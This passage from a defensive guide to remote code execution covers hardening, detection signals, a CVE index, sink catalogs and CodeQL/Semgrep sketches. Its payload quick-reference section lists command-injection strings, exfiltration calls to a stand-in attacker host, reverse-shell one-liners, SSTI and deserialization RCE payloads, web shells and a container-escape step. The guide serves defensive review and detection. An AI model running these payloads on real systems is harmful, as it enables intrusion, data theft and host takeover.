| Deserialize | JSON/Protobuf with schema; never pickle/ObjectInputStream/BinaryFormatter on untrusted input |
| Template | Precompiled templates on trusted disk paths only; never render user template bodies |
| Path resolve | realpath + prefix check against allowed root |
| Regex on untrusted | Catastrophic backtracking — use RE2 or anchored patterns |
| YAML | yaml.safe_load only |
| XML | Disable external entities, disable DTD |
| Redirect | Allowlist hosts |
eval/Function | Delete, replace with a dispatch table |
Runtime controls#
- Least privilege execution. Non-root app user, read-only filesystem where possible, tmpfs for
/tmp, drop caps (NET_ADMIN,SYS_PTRACE,DAC_OVERRIDE,SYS_MODULE). - Distroless or scratch images. The React2Shell incident demonstrates that missing
bash/curl/wgetbreaks the post-exploit kill chain. - Egress allowlist. No outbound internet from workloads that shouldn’t phone home. Blocks C2, Mirai downloads, exfiltration.
- Process time limits (
RLIMIT_CPU, container runtime limits). Kills infinite beacon loops. - Seccomp profiles. Block
mount,ptrace,kexec_load,bpfwhere unneeded. - AppArmor/SELinux enforced. Even when permissive, logs generate IR signal.
- User namespaces for container workloads so root-in-container is not root-on-host.
- Kernel hardening:
kernel.dmesg_restrict=1,kernel.kptr_restrict=2,kernel.unprivileged_userns_clone=0(where compatible), disable unused protocols.
Detection signals#
| Signal | RCE class |
|---|---|
New child process of nginx, java, node, python app → sh/bash/curl | Any sink |
/tmp, /dev/shm, /var/tmp executable file creation | File upload, dropper |
| Outbound to fresh ASN / non-CDN IP from app workload | C2 |
spawnSync/child_process telemetry from a Node app that never previously used it | JS RCE |
ObjectInputStream.readObject from an HTTP thread pool | Java deserialization |
/proc/sys/kernel/core_pattern writes from a container | runc escape |
| Long command lines with base64 + pipe | Blind command injection |
| Sudden outbound DNS burst with encoded labels | Blind exfiltration |
nsenter, unshare, raw /proc/*/ns access | Container escape |
Unexpected .htaccess, web.config, .user.ini writes | Upload → handler swap |
WAF {{ or ${ plus reflection class names in responses | SSTI |
Patch cadence lesson (from the “Lessons From 2025 Zero-Day Exploitation Shaping 2026” article)#
Weaponization times observed in the corpus:
| CVE | Time from disclosure to ITW |
|---|---|
| Langflow CVE-2025-3248 | < 24 hours |
| React2Shell CVE-2025-55182 | hours |
| n8n CVE-2026-21858 | hours |
| Langflow CVE-2026-33017 | ~20 hours |
| WSUS CVE-2025-59287 | days |
Operational conclusion: manual monthly patching is no longer sufficient for internet-facing software. Automate patch detection, pre-stage rollbacks, and maintain a short exposure window policy.
17. Payload Quick Reference#
Command injection#
; id
| id
& id
&& id
`id`
$(id)
$IFS$9id
${IFS}id
{id,}
%0aid
\nid
|| id ||
;id#
'; id;#
"; id;#
) id (
`{echo,dGVzdA==}|{base64,-d}`
Blind / OOB#
; curl http://c.attacker/$(whoami)
; wget http://c.attacker/$(hostname)
; nslookup $(id|base64).c.attacker
; dig $(hostname).c.attacker
; ping -c1 $(id|cut -c1-20).c.attacker
; /bin/bash -c 'exec 3<>/dev/tcp/attacker/4444;cat<&3|bash>&3 2>&3'
; python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("a",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'
Reverse shell one-liners (for CTF/lab use)#
bash -i >& /dev/tcp/attacker/4444 0>&1
nc -e /bin/sh attacker 4444
mkfifo /tmp/p; cat /tmp/p|/bin/sh -i 2>&1|nc attacker 4444 >/tmp/p
perl -e 'use Socket;$i="a";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'
php -r '$s=fsockopen("attacker",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("a",4444);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
socat TCP:attacker:4444 EXEC:/bin/sh
SSTI detection polyglot#
Multi-engine server-side template injection detection payload that tests various template syntaxes simultaneously. Look for mathematical evaluation (49) or template-specific error messages.
SSTI RCE (copy list)#
# Jinja2
{{ cycler.__init__.__globals__.os.popen('id').read() }}
# Twig
{{ ['id']|filter('system') }}
# Freemarker
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
# Velocity
#set($x=$class.inspect("java.lang.Runtime").type.getRuntime().exec("id"))$x.waitFor()
# Smarty
{system('id')}
# ERB
<%= `id` %>
# Handlebars (constructor chain)
{{#with "s" as |string|}}...{{/with}}
Deserialization quickies#
# Python pickle
python3 -c 'import pickle,os;class P:\n def __reduce__(self):return (os.system,("id",))\nimport sys;sys.stdout.buffer.write(pickle.dumps(P()))'
# Java ysoserial
java -jar ysoserial.jar CommonsCollections5 'id' | base64
# .NET
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe"
# PHP phpggc
phpggc Laravel/RCE9 system id
File upload web shells#
# Minimal PHP
<?php system($_GET['c']); ?>
# With header for magic bytes tolerance
GIF89a;<?php system($_GET['c']); ?>
# JSP
<% Runtime.getRuntime().exec(request.getParameter("c")); %>
# ASPX
<%@ Page Language="C#" %><% System.Diagnostics.Process.Start("cmd","/c "+Request["c"]); %>
SQL → file#
MySQL: ' UNION SELECT '<?php system($_GET[0]);?>' INTO OUTFILE '/var/www/html/s.php'--
Postgres: COPY (SELECT '<?php ... ?>') TO '/var/www/html/s.php';
Postgres: COPY t FROM PROGRAM 'id';
MSSQL: EXEC xp_cmdshell 'whoami';
LFI wrappers (PHP)#
php://filter/convert.base64-encode/resource=/etc/passwd
php://input (POST body is executed if allow_url_include=On)
data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8+
expect://id
phar:///tmp/x.phar
zip:///tmp/x.zip#payload.php
Container escape (runc CVE-2025-31133 pattern)#
After reaching a breakout primitive, the canonical host-exec is:
echo '|/tmp/x %P' > /proc/sys/kernel/core_pattern
# then crash any process → kernel executes /tmp/x as root on host
Mitigation: user namespaces, non-root container user, AppArmor/SELinux enforcing, patched runc.
Appendix A — CVE Index (from the research corpus)#
| CVE | Product | Class | Notes |
|---|---|---|---|
| CVE-2025-55182 | React / Next.js / Remix (RSC Flight) | Deserialization → RCE | React2Shell, CISA KEV, Mirai payloads |
| CVE-2025-6640x | React Server Components (follow-ons) | Deserialization → RCE | Related to React2Shell |
| CVE-2026-21858 | n8n webhooks | Expression injection | Pre-auth CVSS 10.0 “Ni8mare” |
| CVE-2025-68613 | n8n | Expression injection | Sandbox escape in server-side eval |
| CVE-2025-3248 | Langflow | Python code injection (AST) | /api/v1/validate/code, < 24h ITW |
| CVE-2025-34291 | Langflow | Account takeover + RCE | Exploited in the wild |
| CVE-2026-33017 | Langflow | RCE | AI pipelines compromised in 20h |
| CVE-2026-39987 | Marimo | Pre-auth RCE | “Root in one request” |
| CVE-2026-22xxx | vLLM | Malicious video URL | Server takeover |
| CVE-2025-49844 | Redis | RediShell RCE | Lua boundary |
| CVE-2026-34838 | Group-Office | Deserialization | AbstractSettingsCollection / FileCookieJar |
| CVE-2026-25769 | Wazuh | Java deserialization | Management API |
| CVE-2025-33244 | NVIDIA APEX | Java deserialization | Inference server |
| CVE-2026-20131 | Cisco FMC | Command injection | Post-auth |
| CVE-2026-20094 | Cisco IMC | Command injection | Read-only user to root |
| CVE-2026-5707 | AWS RES | Shell-interpolation RCE | Crafted session name |
| CVE-2026-32746 | GNU/NetKit telnetd | Memory corruption | Unpatched pre-auth root |
| CVE-2025-15467 | OpenSSL | Potentially critical RCE | JFrog advisory |
| CVE-2025-59287 | Microsoft WSUS | Deserialization | Unauthenticated |
| CVE-2025-31133 | runc | Container escape | /dev/null symlink races |
| CVE-2025-52565 | runc | Container escape | /dev/console mount race |
| CVE-2025-52881 | runc | Container escape | LSM bypass via attr redirect |
| CVE-2026-4585 | Tiandy Easy7 | Command injection | Surveillance web UI |
| CVE-2026-33717 | WWBN AVideo | File upload RCE | Persistent PHP |
| CVE-2025-39601 | WP Custom CSS/JS/PHP | File upload / authz | WordPress plugin |
| CVE-2025-7384 | WP plugin | Unauthenticated file upload | |
| GHSA-5f29-2333-h9c7 | OpenMetadata | Freemarker SSTI | Email templates |
| GHSA-4j3c-fgvx-xgqq | Airbyte | SSTI | Connection builder |
| GHSL-2025-035/037 | (build tool) | Command injection | GitHub Security Lab |
Appendix B — Hardening checklist (print this)#
- No
eval,exec,Function,compileon any untrusted string. - No
shell=True/ shell-string concatenation in process spawn. - All subprocess calls use argv form with validated argv[0] and
--separator. - All deserialization is JSON/Protobuf with schema; no
pickle/unserialize/BinaryFormatter/ObjectInputStreamon untrusted data. - Template engines use sandbox mode (Jinja
SandboxedEnvironment, FreemarkerSAFER_RESOLVER+?apidisabled, VelocitySecureUberspector, Go neverParse(userInput)). - File uploads: allowlist, re-encode, randomize, store outside webroot, reject
.htaccess/web.config/.user.ini, AV scan. - SQL is parameterized everywhere; no
FILEprivilege to app DB user;secure_file_privset;xp_cmdshelldisabled. - SSRF controls: egress allowlist, metadata service hardening (IMDSv2), DNS rebinding mitigation.
- Containers: distroless base, non-root user, read-only FS, user namespaces, seccomp, AppArmor, runc ≥ 1.4.0-rc.3 / 1.3.3 / 1.2.8.
- Patch cadence: internet-facing software patched within 24–72 hours of critical disclosure; automation in place.
- Runtime detection for new process spawns from web tiers, writes to
/proc/sys/kernel/*, unexpected egress. - AI agents that ingest untrusted data do not have
code_interpreteror shell tools; or run in ephemeral sandboxes with egress allowlists. - Supply chain: lockfiles, signature verification, ephemeral CI runners, no
pull_request_targetwith secrets on untrusted PRs. - Dependency scanning:
osv-scanner,pip-audit,npm audit,trivyin CI with blocking severity thresholds. - Secrets on workloads are minimum-scope and short-lived; no long-lived cloud credentials on servers that handle user input.
Appendix C — Language-specific sink catalog#
A more exhaustive list to keep at hand when doing code review or writing Semgrep/CodeQL queries.
Python#
Direct exec: eval, exec, compile, execfile
Import side effects: __import__, importlib.import_module, importlib.util.spec_from_file_location + exec_module
Pickle family: pickle.load, pickle.loads, cPickle.*, dill.load, jsonpickle.decode, shelve.open, pandas.read_pickle
YAML: yaml.load (no Loader), yaml.full_load when input contains !!python/object
Shell: os.system, os.popen, subprocess.* shell=True, commands.getoutput, popen2.*
Template: jinja2.Template, jinja2.Environment(loader=...).from_string, mako.template.Template, Django Template with RequestContext and custom tags
Reflection gadgets: operator.attrgetter, getattr chain, __class__ walk
Web: flask.render_template_string, tornado.template with user body
ML: torch.load without weights_only=True, tensorflow.saved_model.load, joblib.load, keras.models.load_model with custom_objects
Other: marshal.loads, xdrlib, code.InteractiveInterpreter, IPython's get_ipython().run_cell
Node.js / JavaScript#
Direct exec: eval, Function, new Function, vm.runInContext, vm.runInNewContext, vm.runInThisContext, vm.compileFunction
Modules: require(dynamicPath), import(dynamicPath), module._compile
Child process: child_process.exec(string), execSync, spawn with shell:true, execFile shell:true
Template: handlebars.compile(user), ejs.render(user, opts with filename), pug.compile(user), doT.template(user), lodash.template(user), mustache.render(user) with custom delimiters
Deserialize: node-serialize.unserialize, funcster.deepDeserialize, serialize-javascript
React/Next: RSC Flight payloads (see CVE-2025-55182), server actions with unchecked revalidation, __NEXT_DATA__ hydration with untrusted blob
Prototype pollution → RCE gadget: Object.prototype mutations affecting child_process env, lodash.set user paths
Java / Kotlin#
Scripting: ScriptEngineManager.getEngineByName("js|groovy|python"), GroovyShell.evaluate, Nashorn, JEXL Engine, MVEL.eval, SpEL SpelExpressionParser.parseExpression
OGNL: OGNL.getValue on attacker strings (Struts2 history)
Reflection: Class.forName(user).newInstance(), Method.invoke with user method name
Deserialize: ObjectInputStream.readObject, XMLDecoder.readObject, XStream.fromXML default, Jackson enableDefaultTyping + polymorphic, SnakeYAML Yaml().load default, Kryo without registration, Hessian.decode
JNDI: InitialContext.lookup(user), Log4j ${jndi:...}, Spring LdapTemplate with user DN
Runtime exec: Runtime.exec(String), ProcessBuilder(String...), Desktop.open
Template: Freemarker Configuration default, Velocity old Uberspector, Thymeleaf fragment expressions with user input
Class loading: URLClassLoader with user URL, custom ClassLoader.defineClass with user bytes
PHP#
Code exec: eval, assert (older), create_function (deprecated), preg_replace with /e modifier (deprecated), include/require with user path, include_once, mb_ereg_replace with /e
Shell: system, exec, shell_exec, passthru, popen, proc_open, backticks, pcntl_exec, mail() with -X LogPath (historic)
Deserialize: unserialize, phar:// stream wrapper triggering __destruct
Template: Twig createTemplate, Smarty fetch with user template
Callback: call_user_func, call_user_func_array with user callable, array_map/array_filter callback
File: file_put_contents to webroot, move_uploaded_file, copy, fopen "w" to webroot
Session: session handler pointing at attacker-controlled save handler
Ruby#
Code: eval, instance_eval, class_eval, module_eval, binding.eval, send with arbitrary method, public_send, Object.const_get
Shell: system, exec, %x{...}, backticks, Kernel#open("|cmd"), Open3.* with string, IO.popen with string
Deserialize: Marshal.load, YAML.load (< Psych 4 default), YAML.unsafe_load
Template: ERB.new(user).result, Haml::Engine.new(user), Slim::Template.new {user}
Rails specifics: send_file with user path, render file: user, paperclip style callbacks, strong params bypass + mass assignment → serialized column deserialization
Go#
Template: text/template Parse on user body, FuncMap exposing os/exec/io helpers, html/template with safe wrappers removed
Shell: exec.Command("sh","-c",user), exec.Command(user)
Reflection: reflect.Value.Call on user-chosen method
Plugin: plugin.Open on user .so
Gob: gob.Decode of attacker data into interface types
Path: os.OpenFile with user path in writable location
.NET#
Deserialize: BinaryFormatter, NetDataContractSerializer, SoapFormatter, LosFormatter, ObjectStateFormatter (ViewState), Json.NET with TypeNameHandling != None, DataContractJsonSerializer with KnownTypes misuse
Code: CSharpCodeProvider.CompileAssemblyFromSource with user code, Roslyn CSharpScript.EvaluateAsync, Expression compilation on attacker trees
Shell: Process.Start with ProcessStartInfo.UseShellExecute=true, cmd.exe /c
Reflection: Assembly.Load on user bytes, Activator.CreateInstance with user type name
Web: Razor engine compiling user .cshtml (RazorEngine library vulnerable patterns)
Perl#
Code: eval STRING, do FILE with user path, require with user path, string eval inside regex (?{...})
Shell: `...`, qx//, system STRING, open("|cmd"), open(">$userfile"), two-arg open (historic)
Template: Template Toolkit PERL/RAWPERL blocks, Text::Template
Appendix D — CodeQL query sketches#
High-level starting points for custom queries. These are sketches, not complete queries.
Python: untrusted string to exec/eval#
import python
import semmle.python.dataflow.new.DataFlow
import semmle.python.dataflow.new.TaintTracking
import semmle.python.Concepts
class CodeExecSink extends DataFlow::Node {
CodeExecSink() {
exists(API::CallNode c |
c = API::moduleImport("builtins").getMember(["exec","eval","compile"]).getACall()
and this = c.getArg(0)
)
}
}
class HttpParamSource extends RemoteFlowSource {
HttpParamSource() { this instanceof Flask::RequestSource or this instanceof FastApi::RequestSource }
}
module Cfg implements DataFlow::ConfigSig {
predicate isSource(DataFlow::Node n) { n instanceof HttpParamSource }
predicate isSink(DataFlow::Node n) { n instanceof CodeExecSink }
}
Java: ObjectInputStream readObject from HTTP#
import java
import semmle.code.java.dataflow.FlowSources
import semmle.code.java.security.UnsafeDeserializationQuery
from DataFlow::PathNode source, DataFlow::PathNode sink
where UnsafeDeserializationFlow::flowPath(source, sink)
and source.getNode() instanceof RemoteFlowSource
select sink, source, sink, "User input reaches $@ deserialization sink.", source, "here"
Go: template.Parse with tainted body#
Look for (*template.Template).Parse or template.New(...).Parse(x) where x is tainted by HTTP request.
JavaScript: child_process.exec with string concat#
Semgrep one-liner:
rules:
- id: node-exec-concat
pattern-either:
- pattern: child_process.exec("..." + $X + "...", ...)
- pattern: child_process.exec(`...${$X}...`, ...)
- pattern: child_process.execSync("..." + $X)
message: Possible command injection via string concatenation into exec
severity: ERROR
Appendix E — Glossary#
| Term | Meaning |
|---|---|
| Sink | The dangerous call at the bottom of a taint flow (e.g., exec, unserialize). |
| Source | Where attacker-controlled data enters (HTTP request, header, filename, DB row). |
| Gadget | A class whose methods, when invoked by a deserializer, provide useful primitives. |
| Gadget chain | A sequence of gadgets composed to transform a deserialize call into code execution. |
| Shadow vulnerability | A bug that is not assigned a CVE because the underlying engine is “working as designed,” but the real-world usage is exploitable (see Go SSTI). |
| Pre-auth | Reachable without any authentication. |
| Primitive | A small building block of exploitation: arbitrary read, arbitrary write, relative write, info leak, etc. |
| Escape | Breaking out of a sandbox/container/VM/interpreter restriction. |
| KEV | CISA Known Exploited Vulnerabilities catalog — strong signal of ITW exploitation. |
| ITW | In the wild. |
| C2 | Command and control — attacker infrastructure for controlling compromised hosts. |
| Dropper | Small payload whose job is to download and run the real payload. |
| Reverse shell | Target initiates the connection back to the attacker. |
| Bind shell | Target listens, attacker connects in (blocked by most egress firewalls in either direction). |
| LFI / RFI | Local / remote file inclusion. |
| UAF | Use-after-free. |
| ROP / JOP | Return / jump-oriented programming — reuse existing instruction sequences to bypass W^X. |
| RSC | React Server Components — server-rendered React with a custom serialization protocol (Flight). |
| RCE | Remote code execution — the subject of this guide. |
Compiled from 63 research sources on RCE vulnerabilities, exploitation techniques, and defensive engineering — clipped 2025–2026. Use for defensive security research and engineering review.